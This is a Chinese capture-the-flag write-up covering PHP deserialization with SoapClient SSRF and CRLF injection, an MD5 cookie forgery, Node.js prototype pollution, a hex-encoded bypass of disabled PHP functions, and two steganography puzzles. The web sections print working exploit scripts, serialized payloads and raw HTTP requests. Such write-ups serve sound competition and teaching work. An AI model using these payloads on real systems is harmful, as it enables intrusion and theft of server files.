WEB
babyphp
call_user_func() 函数如果传入的参数是array类型的话,会将数组的成员当作类名和方法,
array(0) { } <?php
//something in flag.php
class A
{
public $a;
public $b;
public function __wakeup()
{
$this->a = "babyhacker";
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a;
public $c;
public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION["F1AG"]= $f1ag;
}else{
echo "only localhost!!";
}
only localhost!!
pop链
B:_destruct()通过die函数,触发C:_toString(),return $cc(); 这里触发A:_invoke函数,最后C:uwant()
B::__destruct()->C::__toString()->A::__invoke()->C::uwant()
构造exp
<?php
class A
{
public $a = '0e215962017';
public $b;
public function _invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a;
public $c;
public function __toString()
{
$cc = $this->c;
return$cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
}else{
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
session_start();
$_SESSION['sess'] = 'SoapClient';
$first = new B();
$first->a = new C();
$first->a->c = new A();
$first->a->c->b = new C();
$first->a->c->b->a = '123';
print((serialize($first)));
得到
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"123";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容。session反序列,利用SoapClient触发反序列化导致SSRF。
session反序列化->soap(ssrf+crlf)->call_user_func激活soap类。
构造原生类链
<?php
$a = new SoapClient(null,
array(
'user_agent' => "aaa\r\nCookie:PHPSESSID=flag123",
'uri' => 'bbb',
// 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字
'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'
)
);
$b = serialize($a);
echo urlencode($b);
?>
运行得到
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A66%3A%22http%3A%2F%2F127.0.0.1flag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A29%3A%22aaa%0D%0ACookie%3APHPSESSID%3Dflag123%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
首先,第一次上传构造好的反序列化的session,设置ini_set中session的存储方式为php_serialize,这个时候构造的链子会通过序列化的链子存储,
POST /?baby=session.serialize_handler&d0g3=php_serialize HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 401
sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Du6ljl69tjrbutbq4i0oeb0m332%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类
POST /?baby&d0g3 HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
sess=SoapClient
第三次,直接用call
_user_func激活soap类,通过flag.php将flag写入session
POST / HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
pop=O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
最后
GET / HTTP/1.1
Host: 47.108.29.107:10356
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=flag123
Connection: close
得到flag
ez_js
查看源代码
<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->
secret是七位,secret+flag的md5值是1946714cfa9deb70cc40bab32872f98a
然后咱们求admin的cookie
AndyNoel师傅的脚本
from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
d = ''.join(i).encode()
g = d+n
m=md5(g).hexdigest()
if m == x:
print(d)
break
得到secret :abcdefg
呢么cookie就是ed63246fb602056fee4a7ec886d0a3c2
登录之后 查看源代码发现 jsfuck加密
得到
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
router.get('/', function(req, res, next) {
if(req.flag=="flag"){
//输出flag;
res.send('flag?????????????');
}
res.render('info');
});
router.post('/', express.json(),function(req, res) {
var str = req.body.id;
var obj = JSON.parse(str);
req.cookies.id=clone(obj);
res.render('info');
});
module.exports = router;
merge原型链污染
id={“aaa”:1,“proto”:{“flag”:“flag”}} 去打
ezupload
查看phpinfo 能够上传php文件,可以执行phpinfo
看到禁用了很多函数,就是想方设法绕过 进行命令执行
我看到AndyNoel师傅可以用16进制,8进制,Unicode编码都可以
选择一个十六进制
"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
file_get_contents
通过内置类DirectoryIterator(该类会创建一个指定目录的迭代器,当执行echo方法时,会触发DirectoryIterator类里的toString()方法,输出指定目录里面经过排序之后的第一个文件名)
<?php new DirectoryIterator(" glob:///fl*" );?>将这个转为十六进制
<?php new DirectoryIterator("\x67\x6c\x6f\x62\x3a\x2f\x2f\x2f\x2a\x66\x2a"); ?>最后
<?php file_get_contents("/fl1111111111ag") ?>转为十六进制
<? php "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73" ("/fl1111111111ag") ?>MISC
little_thief
前面思路很清晰,简单概述一下 得到一个流量包,分析TCP数据流,发现了一串base64的编码,也有点向jwt,base64解码 看到一个密钥
得到 s1r_Th1s_k3y
然后这个是可以打开通过流量包提取出的一个html文件
这个html纯属废话文学,然后 当时尝试了很多加密解密,什么snow ,废话文学加密解密 乱七八糟
答案是wbStego4加密解密 (隐写)
出的脑洞题,这不纯挨骂吗 。。。
得到flag
RedCoast
题目附件是一堆0和1
转化为字节流看一看
from Crypto.Util.number import *
with open('Signal', 'r') as f:
con = f.read()
print(long_to_bytes(int(con,2)))
发现有zip特征
以二进制识别为十进制,再转换为bytes,保存为zip文件
from Crypto.Util.number import *
with open('Signal', 'r') as f:
con = f.read()
with open('signal.zip', 'wb') as f2:
f2.write(long_to_bytes(int(con,2)))
得到一堆黑白图片
将625图片换成25x25的图片,得到二维码:
from PIL import Image
import os
IMAGES_PATH = 'signal//'
IMAGES_FORMAT = ['.png','.PNG']
IMAGE_WIDTH = 100
IMAGE_HEIGHT = 100
IMAGE_ROW = 25
IMAGE_COLUMN = 25
IMAGE_SAVE_PATH = 'final.jpg'
newimg = Image.new('RGB',(IMAGE_COLUMN * IMAGE_HEIGHT, IMAGE_ROW * IMAGE_WIDTH))
for y in range(25):
for x in range(25):
timg = Image.open(IMAGES_PATH + str(y*IMAGE_COLUMN + x) + '.png')
newimg.paste(timg, (x*IMAGE_WIDTH, y*IMAGE_HEIGHT))
newimg.save('new.png')
扫描得到 key: 187J3X1&DX3906@!
解压压缩包 得到十六进制的文本
十六进制转换图片
将图片放到Stegosolve 勾选全通道